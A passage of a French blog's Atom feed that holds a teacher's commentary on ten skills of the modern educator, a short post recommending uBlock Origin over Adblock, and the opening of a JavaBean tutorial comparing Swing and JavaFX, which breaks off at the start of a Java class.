&lt;p&gt;&lt;em&gt;Cet article est également publié &lt;a href="http://www.athentransition.be/articles/une-journee-dans-le-bois-avec-maloka/"&gt;sur le site d&amp;rsquo;Ath en transition&lt;/a&gt;. (Lien mort)&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Les 10 compétences du prof moderne</title><link href="http://blog.namok.be/2016-01-10-10-competences-prof-moderne.html" rel="alternate"/><published>2016-01-10T00:00:00+01:00</published><updated>2016-01-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-01-10:/2016-01-10-10-competences-prof-moderne.html</id><summary type="html">Les 10 compétences du prof moderne</summary><content type="html">&lt;p&gt;&lt;img alt="typewriter_2_by_electricladyland.jpg" src="/images/typewriter_2_by_electricladyland.jpg" title="typewriter_2_by_electricladyland.jpg, janv. 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cet article est ma réaction-traduction-interrogation à-de-à l&amp;rsquo;&lt;a href="http://www.edudemic.com/the-10-skills-modern-teachers-must-have-2"&gt;article de Amanda Ronan&lt;/a&gt; — qui revisitait celui de Jeff Dunn — traitant des compétences que doit avoir un enseignant du XXIe siècle.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La traduction libre et brève est en italique.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1/ S&amp;rsquo;engager dans des communautés professionnelles&lt;/strong&gt; &lt;em&gt;car trop souvent l&amp;rsquo;enseignant reste centré sur lui même et sur &lt;strong&gt;son&lt;/strong&gt; cours. Cette ouverture commence par le travail en équipe.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Les cours que je donne seul, évolue moins vite que les cours que je donne en concertation avec des collègues. Ça dépend bien sûr du cours et surtout de l&amp;rsquo;équipe en charge mais la dynamique qu&amp;rsquo;apportent des cours préparés à plusieurs est une fameuse plus-value.&lt;/p&gt;
&lt;p&gt;Pour s&amp;rsquo;ouvrir à l&amp;rsquo;extérieur, il est quasi-impossible à un enseignant de se rendre dans « le milieu professionnel » — on n&amp;rsquo;imagine pas accueillir un prof une journée en stage d&amp;rsquo;observation — alors, qu&amp;rsquo;a-t-il comme alternative ? Les conférences permettent de rencontrer des gens mais sont parfois vides de contenus et les formations doivent être très judicieusement choisies si l&amp;rsquo;on ne veut perdre ni son temps ni son argent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2/ Comprendre comment utiliser la technologie&lt;/strong&gt;. &lt;em&gt;Nos étudiants sont probablement assez aware à la technologie et l&amp;rsquo;enseignant doit comprendre et savoir utiliser cette technologie afin de choisir les outils qui permettront un meilleur investissement des étudiants.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il parait évident que l&amp;rsquo;enseignant maitrise peut utiliser moult technologies différentes cependant, ce n&amp;rsquo;est pas toujours le cas et les inégalités entre enseignants — ou simplement individus — sont très importantes. Ces incompréhension et méconnaissance de l&amp;rsquo;outil informatique de la part de certains me sidère toujours d&amp;rsquo;ailleurs.&lt;/p&gt;
&lt;p&gt;Il ne suffit pas de connaitre des outils, encore faut-il pouvoir les mettre en œuvre dans la classe. La &lt;strong&gt;pédagogie inversée&lt;/strong&gt; — voir &lt;a href="http://www.edudemic.com/guides/flipped-classrooms-guide/"&gt;Flipped classrooms&lt;/a&gt; — est une bonne manière d&amp;rsquo;enseigner aujourd&amp;rsquo;hui mais sa mise en œuvre reste difficile face à des étudiants qui n&amp;rsquo;y sont pas habitués. Le chemin vers l&amp;rsquo;autonomie reste long pour certains. Je pense cependant que c&amp;rsquo;est comme ça que les apprentissages doivent se faire aujourd&amp;rsquo;hui.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Les moments en classe sont réservés à la participation, aux questions / réponses à la résolution de projets… tandis que les éléments d&amp;rsquo;apprentissage passifs — lecture d&amp;rsquo;un chapitre, des notes de cours — sont relégués à la maison.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Pour permettre la participation des élèves et le travail collaboratif, des multitudes d&amp;rsquo;outils existent sur le net. À titre d&amp;rsquo;exemple, je cite; &lt;a href="http://framapad.org/"&gt;Framapad&lt;/a&gt;, &lt;a href="http://github.com/"&gt;github&lt;/a&gt;, &lt;a href="https://framindmap.org/"&gt;Framindmap&lt;/a&gt;, &lt;a href="https://slack.com/"&gt;Slack&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;Tomber sur un prof qui concilie connaissance des outils et mise en œuvre de ceux-ci avec un groupe réceptif c&amp;rsquo;est… rare.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3/ Savoir où trouver les bonnes ressources.&lt;/strong&gt; &lt;em&gt;Là, l&amp;rsquo;auteur nous propose son site et c&amp;rsquo;est (peut-être mais pas vraiment) une boutade. Les bonnes ressources, ce sont d&amp;rsquo;abord celles que l&amp;rsquo;on partage par exemple sur &lt;a href="http://pinterest.com/"&gt;Pinterest&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lorsque je parle à mes étudiants de trouver les bonnes ressources, je rappelle qu&amp;rsquo;il faut regarder à quelle &lt;strong&gt;date&lt;/strong&gt; l&amp;rsquo;article a été posté, par quel &lt;strong&gt;auteur&lt;/strong&gt; et sur quel &lt;strong&gt;site&lt;/strong&gt; arguant que l&amp;rsquo;expérience me permet d&amp;rsquo;accumuler des sites de confiance. Pour ma part et dans mon domaine, il y a des &lt;em&gt;bons vieux&lt;/em&gt; blogs que je suis via &lt;a href="http://twitter.com/Pinkilla"&gt;Twitter&lt;/a&gt; et &lt;a href="http://feedly.com/"&gt;Feedly&lt;/a&gt; puis les sites comme &lt;a href="https://openclassrooms.com/"&gt;Openclassrooms&lt;/a&gt; et &lt;a href="http://stackoverflow.com/"&gt;Stackoverflow&lt;/a&gt; que tout le monde connait finalement.&lt;/p&gt;
&lt;p&gt;Feedly me sert à faire ma veille technologique — et autres — en rassemblant les derniers articles de tous les sites auxquels je suis abonnés. Ces bons vieux flux RSS. Lorsque je veux lire plus tard, je dépose dans &lt;a href="http://getpocket.com/"&gt;Pocket&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;article ajoute un point important, c&amp;rsquo;est la manière de partager les articles. Lorsque je trouve un article intéressant, j&amp;rsquo;aime·rais le faire lire par mes collègues. &lt;a href="http://twitter.com/Pinkilla"&gt;Twitter&lt;/a&gt; (et peut-être &lt;a href="http://pinterest.com/"&gt;Pinterest&lt;/a&gt;) peut·vent être une solution de partage… qui ne touche malheureusement que les collègues déjà un peu &lt;em&gt;geek&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4/ Participer sur les réseaux sociaux&lt;/strong&gt; &lt;em&gt;Par le passé, les enseignants étaient repliés sur eux-même, leur vie privée étant privée. Aujourd&amp;rsquo;hui, ils participent aux réseaux sociaux.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il y a tant de réseaux sociaux qu&amp;rsquo;il ne faut pas les réduire à &lt;a href="fttp://facebook.com"&gt;Facebook&lt;/a&gt; ou &lt;a href="http://twitter.com/Pinkilla"&gt;Twitter&lt;/a&gt;. Chaque réseau social a un rôle à jouer et il faut &lt;strong&gt;surtout éviter la centralisation et le « tout facebook »&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Facebook est destiné à la vie privée et à des informations générales. C&amp;rsquo;est un &lt;a href="2015-05-06-facebook-est-un-mauvais-moyen-de-communication-pour-une-association.html"&gt;mauvais moyen de communication pour une association&lt;/a&gt;. Pour communiquer dans un groupe classe, je conseillerais &lt;a href="https://slack.com/"&gt;Slack&lt;/a&gt; (parce que &lt;a href="https://freenode.net/faq.shtml"&gt;IRC&lt;/a&gt; c&amp;rsquo;est peine perdue pour la plupart)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://twitter.com/Pinkilla"&gt;Twitter&lt;/a&gt; est utile pour relayer des informations, des articles à lire, des absences, des rappels de rendez-vous ou de remises de projets… tout ce qui tient en 140 caractères&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="http://linkedin.com/"&gt;LinkedIn&lt;/a&gt; ne contient que le CV et des liens professionnels, (quasi) rien à lire&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Git·hub·lab permet de donner une visibilité aux projets et pourra servir de carte de visite pour les étudiants. Ça montre une activité de la part de l&amp;rsquo;enseignant&lt;/li&gt;
&lt;li&gt;&lt;a href="http://slideshare.com/pierrebettens"&gt;Slideshare&lt;/a&gt; peut donner une visibilité aux &lt;em&gt;slides&lt;/em&gt; du prof, apporter un peu plus de visibilité et de partage&lt;/li&gt;
&lt;li&gt;Pinterest, Storify, Seenthis…&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finalement, comment structurer l&amp;rsquo;information que l&amp;rsquo;on diffuse et les endroits que l&amp;rsquo;on lit dans la pléthore de « lieux sociaux » ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5/ Développer un bonne capacité de communication&lt;/strong&gt; &lt;em&gt;Tous ces réseaux et médias sociaux imposent aux enseignants d&amp;rsquo;être de bons communicants. La manière d&amp;rsquo;écrire et de communiquer oralement doit être excellente dès lors qu&amp;rsquo;elle apparait dans les mails, sur Twitter ou encore sur un blog. Si tu n&amp;rsquo;es pas sûr de la perception qu&amp;rsquo;a le public sur ce que tu écris, demandes aux collègues une relecture.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La communication, le nerf de la guerre ! &lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;J&amp;rsquo;avais lu pour vous « Cessez d&amp;rsquo;être gentil, soyez vrai »&lt;/a&gt; que je vous invite toujours à lire car j&amp;rsquo;utilise tous les jours et je me répète tout le temps ces 4 mots: &lt;strong&gt;situation - sentiment - besoin - demande&lt;/strong&gt; qui rythment ma communication. Si l&amp;rsquo;on peut tout dire, la manière importe beaucoup. Faux ! Elle est primordiale.&lt;/p&gt;
&lt;p&gt;Dans le même mouvement, la manière de mettre en forme des documents longs est également très importante. Il est nécessaire:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;d&amp;rsquo;aérer le texte;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;utiliser des &lt;em&gt;items&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;d&amp;rsquo;écrire des introductions, des exemples;&lt;/li&gt;
&lt;li&gt;de terminer par un récapitulatif&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;…un peu comme le présente la méthodologie &lt;em&gt;&lt;a href="2010-11-09-Epsilon-2010.html"&gt;information mapping&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6/ N&amp;rsquo;aie pas peur de dire « Non »&lt;/strong&gt; &lt;em&gt;Il s&amp;rsquo;agit de ta survie — la traduction est de plus en plus libre — de ne pas prendre plus que ce que tu peux supporter sans oublier les étudiants.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Si vous êtes comme moi, ce n&amp;rsquo;est pas facile.&lt;/p&gt;
&lt;p&gt;Il faut également être attentif à cette méthode de gestion du personnel qui consiste à demander à celui dont on est sûr qu&amp;rsquo;il va délivrer dans les temps. Dans ce cas, il en va de sa survie de pouvoir dire non même si l&amp;rsquo;on sait que ce refus peut mettre la hiérarchie en difficulté.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;On tire toudis s&amp;rsquo;ul baudet qui avance&lt;/em&gt;&lt;br&gt;
(On tire toujours sur l&amp;rsquo;âne qui avance)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;7/ Prends le temps de te déconnecter&lt;/strong&gt; &lt;em&gt;Comme tu t&amp;rsquo;imposes de dire non quand il faut, tu devrais également prendre le temps de te déconnecter des obligations. Tu n&amp;rsquo;es pas obligé de répondre aux 50 mails de parents,être présent sur Twitter, gérer un forum Facebook, mettre à jour ton blog et ajouter des images sur Instagram en une nuit. Les enseignants ont beaucoup d&amp;rsquo;autres choses à faire et doivent gérer leur temps. Les enseignants modernes sont connectés mais savent aussi comment se déconnectés. Don&amp;rsquo;t burn out.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Pour ce qui est de la présence sur les réseaux sociaux, &lt;a href="http://hootsuite.com/"&gt;Hootsuite&lt;/a&gt; poste les messages quand tu lui demandes de les poster ce qui te permet de les écrire quand ça t&amp;rsquo;arrange.&lt;/p&gt;
&lt;p&gt;Pour ce qui est de l&amp;rsquo;email, je suis un ardent défenseur de &lt;a href="https://inboxzero.com"&gt;inbox 0&lt;/a&gt;. Ce principe consiste à garder sa boite de réception de mails (quasi) vide. En très résumé, lorsque l&amp;rsquo;on reçoit un mail:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;on le traite tout de suite en faisant une réponse rapide si possible;&lt;/li&gt;
&lt;li&gt;on le laisse là car il demande un peu plus de temps (et l&amp;rsquo;on sait qu&amp;rsquo;il sera traiter rapidement);&lt;/li&gt;
&lt;li&gt;on l&amp;rsquo;archive car il ne demande pas de réponse,&lt;/li&gt;
&lt;li&gt;on se désinscrit de la source car ce mail est sans intérêt&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;8/ Fêter la diversité &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; &lt;em&gt;L&amp;rsquo;on donne souvent une mauvaise réputation aux étudiants mais les enseignants savent qu&amp;rsquo;ils sont pour la plupart libres et ouverts d&amp;rsquo;esprits. Les jeunes ont des environnements familiaux et des différences raciales, ethniques et de genre. Les éducateurs modernes fêtent cette différence et l&amp;rsquo;utilise comme outil d&amp;rsquo;apprentissage.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La différence rencontrée à l&amp;rsquo;école me permet de rester éveillé face au monde. Le contact avec des jeunes de tout horizon donne l&amp;rsquo;occasion de se resituer par rapport à son propre vécu, par rapport à son environnement privé. Être enseignant face à un public « divers » est très riche.&lt;/p&gt;
&lt;p&gt;Tout n&amp;rsquo;est pas rose et politiquement correct pour autant. Traiter avec des publics aussi variés en étant justes — du moins en essayant de l&amp;rsquo;être — n&amp;rsquo;est pas aisé. Un enseignant doit en même temps tenir compte des différences de chacun et être équitable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;9/ Apprendre toujours, tout le temps &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt; &lt;em&gt;Le monde change rapidement. Avais-tu songé que tu verrais des drones, des voitures qui se conduisent seules, des imprimantes 3D ? Les enseignants sont au cœur de l&amp;rsquo;éducation et de l&amp;rsquo;apprentissage. Ils doivent donc apprendre et s&amp;rsquo;améliorer toujours. Il serait facile de prendre l&amp;rsquo;excuse du temps pour ne pas se former cependant, les enseignants modernes n&amp;rsquo;ont plus cette excuse puisqu&amp;rsquo;ils connaissent les MOOCs, autres cours en ligne. Ils peuvent donc apprendre où et quand ils veulent.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Oui et non.&lt;/p&gt;
&lt;p&gt;Oui, bien sûr, il faut apprendre tout le temps et mettre en place la &lt;strong&gt;veille&lt;/strong&gt; qui convient — j&amp;rsquo;utilise &lt;a href="http://feedly.com/"&gt;Feedly&lt;/a&gt; et les bons vieux flux RSS ainsi que &lt;a href="http://getpocket.com/"&gt;Pocket&lt;/a&gt; — afin de resté informé et de pouvoir apprendre.&lt;/p&gt;
&lt;p&gt;Non, les cours en lignes n&amp;rsquo;ont pas tout résolu car il faut gérer ses damnées journées qui ne font que 24h. S&amp;rsquo;inscrire à une formation et y être présent physiquement permet parfois de se déconnecter et de s&amp;rsquo;imposer de consacrer du temps à ce sujet. Les deux — la formation en ligne et celle en présentiel — ont leur importance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;10/ Fais ce que tu fais le mieux&lt;/strong&gt; &lt;em&gt;Bien que les médias le disent peu, tu es un professionnel. Tu as un diplôme en enseignement et tu sais comment faire fonctionner une classe. Tu sais identifier lorsqu&amp;rsquo;un étudiant est en difficulté et tu sais comment l&amp;rsquo;aider. Développer et enrichir tes pratiques est toujours encouragé comme pour chaque profession. Ne tombe cependant pas dans le travers d&amp;rsquo;utiliser la technologie simplement parce que c&amp;rsquo;est à la mode, utilise la parce qu&amp;rsquo;elle est pertinente. Les enseignants modernes savent comment équilibrer ce qu&amp;rsquo;ils savent, les pratiques qu&amp;rsquo;ils connaissent et les technologies leurs permettant de mieux atteindre leurs étudiants.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je suis donc d&amp;rsquo;abord un pédagogue — même si c&amp;rsquo;est pompeux — dont la tâche principale est de donner l&amp;rsquo;opportunité aux étudiants d&amp;rsquo;apprendre. Je suis ensuite compétent dans les domaines que j&amp;rsquo;enseigne. Je ne suis pas un expert car j&amp;rsquo;enseigne plusieurs matières différentes et ma tâche principale c&amp;rsquo;est de chercher comment faire passer au mieux ces concepts. Ces outils technologiques me permettent par exemple de mettre en œuvre une pédagogie inversée non pas parce qu&amp;rsquo;un outil — magique ? — existe mais bien parce que je sais ce que c&amp;rsquo;est !&lt;/p&gt;
&lt;p&gt;Pour reprendre la conclusion de l&amp;rsquo;article:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;However the Essential skills for today’s teachers go far beyond “knowing how to use an iPad” and into the realm of connectedness. Knowing yourself, your students, your colleagues, and your profession make you a modern educator.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Amanda Ronan&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://electricladyland.deviantart.com/art/Typewriter-2-141453422"&gt;electricladyland&lt;/a&gt;. Une bonne vieille machine à écrire, quoi du plus moderne finalement !&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;En anglais « Celebrate the difference ». Ce mot &lt;em&gt;celebrate&lt;/em&gt; me fait penser à ces vidéos (ça date un peu) &lt;em&gt;French maid TV&lt;/em&gt; qui se terminaient souvent par: « And now celebrate »&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;En anglais, c&amp;rsquo;est &lt;em&gt;stay life-long learner&lt;/em&gt;. Va-t&amp;rsquo;en traduire ce terme bien plus parlant en anglais qu&amp;rsquo;en français.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>s/Ad/u block</title><link href="http://blog.namok.be/2015-12-22-ublock.html" rel="alternate"/><published>2015-12-22T00:00:00+01:00</published><updated>2015-12-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-12-22:/2015-12-22-ublock.html</id><summary type="html">Remplacement d'Adblock par uBlock Origin.</summary><content type="html">&lt;p&gt;ou remplacement de Adblock par uBlock&lt;/p&gt;
&lt;p&gt;&lt;img alt="please___by_dalexus.jpg" src="/images/please___by_dalexus.jpg" title="please___by_dalexus.jpg, déc. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Vous le savez peut-être, j’abhorre les pubs, &lt;a href="2014-05-30-comment-mieux-profiter-de-sa-radio-de-voiture.html"&gt;je coupe même la radio&lt;/a&gt; si j&amp;rsquo;ai le malheur d&amp;rsquo;entendre « qu&amp;rsquo;elles arrivent ». J&amp;rsquo;aime certaines pubs, &lt;a href="2008-08-02-be-linux.html"&gt;par exemple&lt;/a&gt;, si je décide d&amp;rsquo;en regarder au moment que je choisis mais je refuse d&amp;rsquo;être littéralement assommé par des textes qui m&amp;rsquo;abrutissent.&lt;/p&gt;
&lt;p&gt;Je ne veux donc sûrement pas être dérangé par des images lorsque je &lt;em&gt;surfe&lt;/em&gt;. Idem, j&amp;rsquo;aime bien les images mais je choisis les images que je regarde et quand je les regarde.&lt;/p&gt;
&lt;p&gt;Bref le premier module a installer sur sa machine est un &lt;strong&gt;bloqueur de pubs&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai longtemps utilisé &lt;strong&gt;&lt;a href="https://adblockplus.org/fr/acceptable-ads"&gt;Adblock+&lt;/a&gt;&lt;/strong&gt;. Depuis quelque temps, ils ont introduit, la notion de &lt;a href="https://adblockplus.org/fr/acceptable-ads"&gt;publicités acceptables&lt;/a&gt; parce que beaucoup de gens vivent de/grâce à la pub et qu&amp;rsquo;il ne faut pas tous les mettre dans le même panier. Si tu es d&amp;rsquo;accord avec ça tu peux (continuer d&amp;rsquo;) utiliser &lt;strong&gt;AdBlock&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Tu peux aussi l&amp;rsquo;utiliser et désactiver cette « acceptation de voir les pubs acceptables ».&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="/images/screenshot-adblock-accept.png" title="screenshot" width="75%"&gt;&lt;/p&gt;
&lt;p&gt;Sinon, tu peux aussi te tourner vers un autre module. &lt;strong&gt;&lt;a href="https://www.ublock.org/"&gt;uBlock&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;uBlock origin&lt;/strong&gt; est un autre bloqueur de pubs qui serait plus rapide et moins gourmand, ce qui n&amp;rsquo;est pas négligeable. Il demande un peu de paramétrisation un tout petit peu à la première utilisation. C&amp;rsquo;est tout. J&amp;rsquo;essaie…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://fav.me/d189m3i"&gt;Deviantart par Dalexus&lt;/a&gt;. Merci pour l&amp;rsquo;info à Annso via &lt;a href="https://twitter.com/annso_/status/678494222048169984"&gt;Twitter&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Représentation d'un JavaBean graphique avec Swing ou JavaFX</title><link href="http://blog.namok.be/2015-11-09-javabean-graphique-swing-javafx.html" rel="alternate"/><published>2015-11-09T00:00:00+01:00</published><updated>2015-11-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-11-09:/2015-11-09-javabean-graphique-swing-javafx.html</id><summary type="html">Représentation d'un JavaBean graphique avec Swing ou JavaFX</summary><content type="html">&lt;p&gt;&lt;img alt="redleds-14339698018_8de0dd2659_o.jpg" src="/images/redleds-14339698018_8de0dd2659_o.jpg" title="redleds-14339698018_8de0dd2659_o.jpg, nov. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Depuis &lt;a href="2014-06-03-jdk8.html"&gt;JDK8&lt;/a&gt;, la librairie &lt;a href="http://docs.oracle.com/javase/tutorial/uiswing/TOC.html"&gt;Swing&lt;/a&gt; est devenue obsolète et est remplacée par &lt;a href="http://docs.oracle.com/javase/8/javase-clienttechnologies.htm"&gt;JavaFX&lt;/a&gt;. Il existe moult tutoriels présentant JavaFX. Cet article ne sera pas le &lt;em&gt;moult plus unième&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;En très bref, là où Swing s&amp;rsquo;organise avec un &lt;code&gt;JFrame&lt;/code&gt; contenant des &lt;code&gt;JPanel&lt;/code&gt; — auxquels on associe un &lt;em&gt;layout manager&lt;/em&gt; — eux-mêmes contenant divers composants/ graphiques tels que des &lt;code&gt;JButton&lt;/code&gt;, &lt;code&gt;JTextField&lt;/code&gt;, &lt;code&gt;JLabel&lt;/code&gt;… tous dans le package &lt;code&gt;javax.swing.*&lt;/code&gt;, JavaFX se compare à un théâtre.&lt;/p&gt;
&lt;p&gt;Le &lt;code&gt;Stage&lt;/code&gt;, c&amp;rsquo;est le théâtre où se joue la pièce. La pièce se joue sur la &lt;code&gt;Scene&lt;/code&gt;. La scène est affublée d&amp;rsquo;un &lt;em&gt;layout&lt;/em&gt; — &lt;code&gt;BorderPane&lt;/code&gt; par exemple — qui est à la fois l&amp;rsquo;ancien &lt;em&gt;panel&lt;/em&gt; et son &lt;em&gt;layout manager&lt;/em&gt;. C&amp;rsquo;est ce &lt;em&gt;layout&lt;/em&gt; qui contient les divers composants graphiques tels que des &lt;code&gt;Button&lt;/code&gt;, &lt;code&gt;TextField&lt;/code&gt;, &lt;code&gt;Label&lt;/code&gt;… tous dans les (sous)-packages &lt;code&gt;javafx.*&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est beaucoup plus romantique — en tout cas imagé — comme présentation.&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;aide d&amp;rsquo;un IDE, il est assez simple de planter le décors et d&amp;rsquo;y déposer ses objets également. Les détails se trouvent dans divers tutoriaux. Ceux qui préfèrent pourront utiliser &lt;a href="http://docs.oracle.com/javafx/scenebuilder/1/use_java_ides/sb-with-nb.htm"&gt;Scene builder&lt;/a&gt; au lieu d&amp;rsquo;un positionnement « à la main ». Ce qui m&amp;rsquo;intéresse ici, c&amp;rsquo;est la gestion des évènements. Est-elle (fort) différente qu&amp;rsquo;avec Swing ? D&amp;rsquo;ailleurs la suite est plutôt destinée à ceux qui veulent voir la différence entre les deux approches… ils pourront ensuite oublier l&amp;rsquo;approche « Swing » !&lt;/p&gt;
&lt;p&gt;Le principe est identique, c&amp;rsquo;est le &lt;em&gt;design pattern observer&lt;/em&gt; (patron de conception observateur / observé). Certains composants ont la capacité d&amp;rsquo;être observés, d&amp;rsquo;autres celle d&amp;rsquo;observer. Les observateurs doivent s&amp;rsquo;inscrire auprès de l&amp;rsquo;observé (l&amp;rsquo;on dit parfois, le sujet d&amp;rsquo;observation) afin d&amp;rsquo;être ajouté à la liste des observateurs et, ainsi, être notifiés des changements.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La phrase précédente fonctionne très bien également avec le vocable écouteurs / écoutés.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Intéressons nous à la représentation graphique d&amp;rsquo;une LED électronique. &lt;em&gt;Ça s&amp;rsquo;allume et ça s&amp;rsquo;éteint. C&amp;rsquo;est généralement rouge !&lt;/em&gt; Cette led — je l&amp;rsquo;écrirai toujours en minuscule même si c&amp;rsquo;est un acronyme pour &lt;em&gt;light emitting diode&lt;/em&gt; — possède une couleur et un état allumé (&lt;em&gt;on&lt;/em&gt;) ou éteint (&lt;em&gt;off&lt;/em&gt;). Sa couleur et son état on/off sont deux propriétés que le &lt;em&gt;bean&lt;/em&gt; présente. La led sera représentée par un disque rouge lorsque elle est allumée et par un disque blanc lorsqu&amp;rsquo;elle est éteinte. Sa couleur rouge par défaut pourra être changée. Plus tard, ce composant graphique pourra être cliqué et changé d&amp;rsquo;état on/off à chaque click de la souris.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tous les codes présentés sont disponibles sur &lt;a href="https://github.com/pbettens/leds"&gt;github&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Led&lt;/h1&gt;
&lt;h2&gt;Un simple bean&lt;/h2&gt;
&lt;p&gt;Comment créer un JavaBean ? Un javabean n&amp;rsquo;est pas nécessairement un composant graphique. C&amp;rsquo;est une classe Java ayant certaines caractéristiques. La principale étant que cet « objet » expose des propriétés.&lt;/p&gt;
&lt;p&gt;Pour être reconnu comme étant un &lt;em&gt;bean&lt;/em&gt;, il faut:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;être &lt;code&gt;Serializable&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;avoir un constructeur sans paramètre;&lt;/li&gt;
&lt;li&gt;présenter correctement ses propriétés. Une propriété a un accesseur et un mutateur. Dès lors que cette propriété change, le &lt;em&gt;bean&lt;/em&gt; en informe tous ses écouteurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avec Swing, il fallait hériter de &lt;code&gt;JPanel&lt;/code&gt; et définir ses propriétés en utilisant des chaines. Un peu comme ça.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Je retire sciemment la javadoc, les imports et l&amp;rsquo;instruction package des codes exemples par soucis de concision. Pour plus de détails, voyez &lt;a href="https://github.com/pbettens/leds"&gt;github&lt;/a&gt; comme je le propose plus haut.&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JPanel&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

